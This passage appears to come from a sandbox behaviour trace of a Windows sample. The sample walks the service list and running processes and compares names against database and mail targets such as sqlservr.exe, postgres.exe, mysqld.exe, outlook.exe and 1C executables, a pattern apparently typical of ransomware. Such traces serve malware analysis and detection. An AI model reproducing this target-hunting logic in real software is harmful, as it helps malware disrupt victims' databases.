lpString2="RpcEptMapper") returned 1 [0055.494] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0055.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0055.494] lstrlenW (lpString="RpcSs") returned 5 [0055.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0055.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0055.495] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0055.495] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0055.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0055.495] lstrlenW (lpString="SamSs") returned 5 [0055.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0055.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0055.495] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0055.495] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0055.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0055.495] lstrlenW (lpString="Schedule") returned 8 [0055.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0055.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0055.495] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0055.495] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0055.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0055.495] lstrlenW (lpString="SENS") returned 4 [0055.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0055.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0055.496] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0055.496] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0055.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0055.496] lstrlenW (lpString="ShellHWDetection") returned 16 [0055.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.496] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0055.496] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0055.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0055.496] lstrlenW (lpString="Spooler") returned 7 [0055.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0055.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0055.497] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0055.497] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0055.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0055.497] lstrlenW (lpString="sppsvc") returned 6 [0055.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0055.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0055.497] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0055.497] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0055.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0055.497] lstrlenW (lpString="SysMain") returned 7 [0055.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0055.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0055.497] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0055.497] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0055.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0055.498] lstrlenW (lpString="Themes") returned 6 [0055.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0055.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0055.498] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0055.498] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0055.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0055.498] lstrlenW (lpString="TrkWks") returned 6 [0055.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0055.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0055.498] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0055.498] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0055.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0055.498] lstrlenW (lpString="UxSms") returned 5 [0055.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0055.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0055.499] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0055.499] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0055.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0055.499] lstrlenW (lpString="WdiServiceHost") returned 14 [0055.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.499] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0055.499] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0055.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0055.499] lstrlenW (lpString="WdiSystemHost") returned 13 [0055.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.499] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0055.499] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0055.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0055.500] lstrlenW (lpString="WinDefend") returned 9 [0055.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0055.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0055.500] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0055.500] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0055.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0055.500] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0055.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.500] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0055.500] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0055.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0055.500] lstrlenW (lpString="Winmgmt") returned 7 [0055.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0055.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0055.501] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0055.501] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0055.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0055.501] lstrlenW (lpString="wscsvc") returned 6 [0055.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0055.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0055.501] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0055.501] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0055.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0055.501] lstrlenW (lpString="wuauserv") returned 8 [0055.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0055.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0055.501] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0055.501] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0055.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0055.502] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x5147d0 | out: hHeap=0x4c0000) returned 1 [0055.502] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x110 [0055.510] Process32FirstW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0055.511] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0055.513] lstrlenW (lpString="System") returned 6 [0055.513] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0055.513] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0055.513] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0055.513] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0055.513] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0055.513] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0055.513] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0055.513] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0055.515] lstrlenW (lpString="smss.exe") returned 8 [0055.515] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0055.515] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0055.515] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0055.515] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0055.515] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0055.515] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0055.515] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0055.515] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.516] lstrlenW (lpString="csrss.exe") returned 9 [0055.517] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0055.518] lstrlenW (lpString="wininit.exe") returned 11 [0055.518] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.520] lstrlenW (lpString="csrss.exe") returned 9 [0055.520] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0055.521] lstrlenW (lpString="winlogon.exe") returned 12 [0055.522] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0055.523] lstrlenW (lpString="services.exe") returned 12 [0055.523] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0055.525] lstrlenW (lpString="lsass.exe") returned 9 [0055.525] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0055.526] lstrlenW (lpString="lsm.exe") returned 7 [0055.526] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.528] lstrlenW (lpString="svchost.exe") returned 11 [0055.528] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.529] lstrlenW (lpString="svchost.exe") returned 11 [0055.529] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.531] lstrlenW (lpString="svchost.exe") returned 11 [0055.531] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.532] lstrlenW (lpString="svchost.exe") returned 11 [0055.532] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.534] lstrlenW (lpString="svchost.exe") returned 11 [0055.534] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0055.536] lstrlenW (lpString="audiodg.exe") returned 11 [0055.536] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.537] lstrlenW (lpString="svchost.exe") returned 11 [0055.537] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.539] lstrlenW (lpString="svchost.exe") returned 11 [0055.539] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0055.541] lstrlenW (lpString="dwm.exe") returned 7 [0055.541] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0055.542] lstrlenW (lpString="explorer.exe") returned 12 [0055.542] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0055.543] lstrlenW (lpString="spoolsv.exe") returned 11 [0055.543] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.545] lstrlenW (lpString="taskhost.exe") returned 12 [0055.545] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.546] lstrlenW (lpString="svchost.exe") returned 11 [0055.546] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0055.548] lstrlenW (lpString="taskeng.exe") returned 11 [0055.548] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.549] lstrlenW (lpString="taskhost.exe") returned 12 [0055.550] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.551] lstrlenW (lpString="svchost.exe") returned 11 [0055.551] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0055.552] lstrlenW (lpString="sppsvc.exe") returned 10 [0055.553] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.955] lstrlenW (lpString="svchost.exe") returned 11 [0057.130] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cosmetics_involving_x.exe")) returned 1 [0057.132] lstrlenW (lpString="cosmetics_involving_x.exe") returned 25 [0057.132] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="visa thought.exe")) returned 1 [0057.134] lstrlenW (lpString="visa thought.exe") returned 16 [0057.134] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="instrumental.exe")) returned 1 [0057.135] lstrlenW (lpString="instrumental.exe") returned 16 [0057.135] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mouth tree.exe")) returned 1 [0057.137] lstrlenW (lpString="mouth tree.exe") returned 14 [0057.137] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x764, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="friday complete spiritual.exe")) returned 1 [0057.143] lstrlenW (lpString="friday complete spiritual.exe") returned 29 [0057.143] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thisul.exe")) returned 1 [0057.145] lstrlenW (lpString="thisul.exe") returned 10 [0057.145] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjacent-earlier.exe")) returned 1 [0057.147] lstrlenW (lpString="adjacent-earlier.exe") returned 20 [0057.147] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tired grad keep.exe")) returned 1 [0057.149] lstrlenW (lpString="tired grad keep.exe") returned 19 [0057.149] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basename_nested.exe")) returned 1 [0057.150] lstrlenW (lpString="basename_nested.exe") returned 19 [0057.150] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reserves-pixel-minds.exe")) returned 1 [0057.152] lstrlenW (lpString="reserves-pixel-minds.exe") returned 24 [0057.152] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-cpu-orange.exe")) returned 1 [0057.153] lstrlenW (lpString="securities-cpu-orange.exe") returned 25 [0057.153] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="exotic.exe")) returned 1 [0057.155] lstrlenW (lpString="exotic.exe") returned 10 [0057.155] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fisher arab disable.exe")) returned 1 [0057.156] lstrlenW (lpString="fisher arab disable.exe") returned 23 [0057.156] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="manufacture-mtv.exe")) returned 1 [0057.158] lstrlenW (lpString="manufacture-mtv.exe") returned 19 [0057.158] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="syndicaterssidentity.exe")) returned 1 [0057.160] lstrlenW (lpString="syndicaterssidentity.exe") returned 24 [0057.160] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="belfastcreationdeposit.exe")) returned 1 [0057.162] lstrlenW (lpString="belfastcreationdeposit.exe") returned 26 [0057.162] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, 